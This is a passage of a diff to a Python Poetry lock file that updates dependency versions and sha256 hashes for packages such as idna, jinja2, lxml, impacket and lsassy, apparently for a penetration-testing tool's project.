"h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, @@ -839,21 +850,26 @@ files = [ [[package]] name = "idna" -version = "3.7" +version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, - {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, ] +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + [[package]] name = "impacket" -version = "0.12.0.dev1+20240725.112949.63079001" +version = "0.13.0.dev0+20250314.172046.8b4566b1" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" +groups = ["main"] files = [] develop = false @@ -866,6 +882,7 @@ pyasn1 = ">=0.2.3" pyasn1_modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" +pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} setuptools = "*" six = "*" @@ -873,26 +890,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "63079001e2d7f1a5bafcfe59f5a78d42ceefd9ed" - -[[package]] -name = "importlib-metadata" -version = "8.2.0" -description = "Read metadata from Python packages" -optional = false -python-versions = ">=3.8" -files = [ - {file = "importlib_metadata-8.2.0-py3-none-any.whl", hash = "sha256:11901fa0c2f97919b288679932bb64febaeacf289d18ac84dd68cb2e74213369"}, - {file = "importlib_metadata-8.2.0.tar.gz", hash = "sha256:72e8d4399996132204f9a16dcc751af254a48f8d1b20b9ff0f98d4a8f901e73d"}, -] - -[package.dependencies] -zipp = ">=0.5" - -[package.extras] -doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] -perf = ["ipython"] -test = ["flufl.flake8", "importlib-resources (>=1.3)", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy", "pytest-perf (>=0.9.2)", "pytest-ruff (>=0.2.1)"] +resolved_reference = "8b4566b12fc79acb520d045dbae8f13446a9d4d7" [[package]] name = "iniconfig" @@ -900,6 +898,7 @@ version = "2.0.0" description = "brain-dead simple config-ini parsing" optional = false python-versions = ">=3.7" +groups = ["dev"] files = [ {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, @@ -911,6 +910,7 @@ version = "2.2.0" description = "Safely pass data to untrusted environments and back." optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, @@ -918,13 +918,14 @@ files = [ [[package]] name = "jinja2" -version = "3.1.4" +version = "3.1.5" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "jinja2-3.1.4-py3-none-any.whl", hash = "sha256:bc5dd2abb727a5319567b7a813e6a2e7318c39f4f487cfe6c89c6f9c7d25197d"}, - {file = "jinja2-3.1.4.tar.gz", hash = "sha256:4a3aee7acbbe7303aede8e9648d13b8bf88a429282aa6122a993f0ac800cb369"}, + {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, + {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, ] [package.dependencies] @@ -933,12 +934,27 @@ MarkupSafe = ">=2.0" [package.extras] i18n = ["Babel (>=2.7)"] +[[package]] +name = "jwt" +version = "1.3.1" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">= 3.6" +groups = ["main"] +files = [ + {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, +] + +[package.dependencies] +cryptography = ">=3.1,<3.4.0 || >3.4.0" + [[package]] name = "ldap3" version = "2.9.1" description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, @@ -953,6 +969,7 @@ version = "0.9.4" description = "Active Directory information dumper via LDAP" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, @@ -966,13 +983,14 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.12" +version = "3.1.13" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "lsassy-3.1.12-py3-none-any.whl", hash = "sha256:90ceffe3345f6ed6d7c401827572f52486a897ceeb83131582c44f502840eff2"}, - {file = "lsassy-3.1.12.tar.gz", hash = "sha256:ed4e53334a954963776a2df2e9510a5fec36434061ea806d89b4ec90912f014b"}, + {file = "lsassy-3.1.13-py3-none-any.whl", hash = "sha256:a70417a6605afb8919b1d8bac3b123881bb2beb867c38666574d0aab4a41d450"}, + {file = "lsassy-3.1.13.tar.gz", hash = "sha256:d68e0a7ebbe84770e87091e7fd680d66e8cb937cb5221c028a2db6ff48619994"}, ] [package.dependencies] @@ -983,110 +1001,158 @@ rich = "*" [[package]] name = "lxml" -version = "4.9.3" +version = "5.3.1" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"}, - {file = "lxml-4.9.3-cp27-cp27m-win32.whl", hash = "sha256:2c74524e179f2ad6d2a4f7caf70e2d96639c0954c943ad601a9e146c76408ed7"}, - {file = "lxml-4.9.3-cp27-cp27m-win_amd64.whl", hash = "sha256:4f1026bc732b6a7f96369f7bfe1a4f2290fb34dce00d8644bc3036fb351a4ca1"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"}, - {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:ae8b9c6deb1e634ba4f1930eb67ef6e6bf6a44b6eb5ad605642b2d6d5ed9ce3c"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"}, - {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"}, - {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"}, - {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:9767e79108424fb6c3edf8f81e6730666a50feb01a328f4a016464a5893f835a"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"}, - {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"}, - {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"}, - {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"}, - {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"}, - {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"}, - {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"}, - {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e3cd95e10c2610c360154afdc2f1480aea394f4a4f1ea0a5eacce49640c9b190"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"}, - {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"}, - {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:141f1d1a9b663c679dc524af3ea1773e618907e96075262726c7612c02b149a4"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"}, - {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"}, - {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:71d66ee82e7417828af6ecd7db817913cb0cf9d4e61aa0ac1fde0583d84358db"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"}, - {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"}, - {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"}, - {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:fbf521479bcac1e25a663df882c46a641a9bff6b56dc8b0fafaebd2f66fb231b"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"}, - {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"}, - {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"}, - {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:05186a0f1346ae12553d66df1cfce6f251589fea3ad3da4f3ef4e34b2d58c6a3"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:50670615eaf97227d5dc60de2dc99fb134a7130d310d783314e7724bf163f75d"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e4da8ca0c0c0aea88fd46be8e44bd49716772358d648cce45fe387f7b92374a7"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"}, - {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"}, - {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"}, + {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a4058f16cee694577f7e4dd410263cd0ef75644b43802a689c2b3c2a7e69453b"}, + {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:364de8f57d6eda0c16dcfb999af902da31396949efa0e583e12675d09709881b"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:528f3a0498a8edc69af0559bdcf8a9f5a8bf7c00051a6ef3141fdcf27017bbf5"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db4743e30d6f5f92b6d2b7c86b3ad250e0bad8dee4b7ad8a0c44bfb276af89a3"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:17b5d7f8acf809465086d498d62a981fa6a56d2718135bb0e4aa48c502055f5c"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:928e75a7200a4c09e6efc7482a1337919cc61fe1ba289f297827a5b76d8969c2"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a997b784a639e05b9d4053ef3b20c7e447ea80814a762f25b8ed5a89d261eac"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:7b82e67c5feb682dbb559c3e6b78355f234943053af61606af126df2183b9ef9"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:f1de541a9893cf8a1b1db9bf0bf670a2decab42e3e82233d36a74eda7822b4c9"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:de1fc314c3ad6bc2f6bd5b5a5b9357b8c6896333d27fdbb7049aea8bd5af2d79"}, + {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:7c0536bd9178f754b277a3e53f90f9c9454a3bd108b1531ffff720e082d824f2"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:68018c4c67d7e89951a91fbd371e2e34cd8cfc71f0bb43b5332db38497025d51"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aa826340a609d0c954ba52fd831f0fba2a4165659ab0ee1a15e4aac21f302406"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:796520afa499732191e39fc95b56a3b07f95256f2d22b1c26e217fb69a9db5b5"}, + {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3effe081b3135237da6e4c4530ff2a868d3f80be0bda027e118a5971285d42d0"}, + {file = "lxml-5.3.1-cp310-cp310-win32.whl", hash = "sha256:a22f66270bd6d0804b02cd49dae2b33d4341015545d17f8426f2c4e22f557a23"}, + {file = "lxml-5.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:0bcfadea3cdc68e678d2b20cb16a16716887dd00a881e16f7d806c2138b8ff0c"}, + {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e220f7b3e8656ab063d2eb0cd536fafef396829cafe04cb314e734f87649058f"}, + {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0f2cfae0688fd01f7056a17367e3b84f37c545fb447d7282cf2c242b16262607"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:67d2f8ad9dcc3a9e826bdc7802ed541a44e124c29b7d95a679eeb58c1c14ade8"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db0c742aad702fd5d0c6611a73f9602f20aec2007c102630c06d7633d9c8f09a"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:198bb4b4dd888e8390afa4f170d4fa28467a7eaf857f1952589f16cfbb67af27"}, + {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 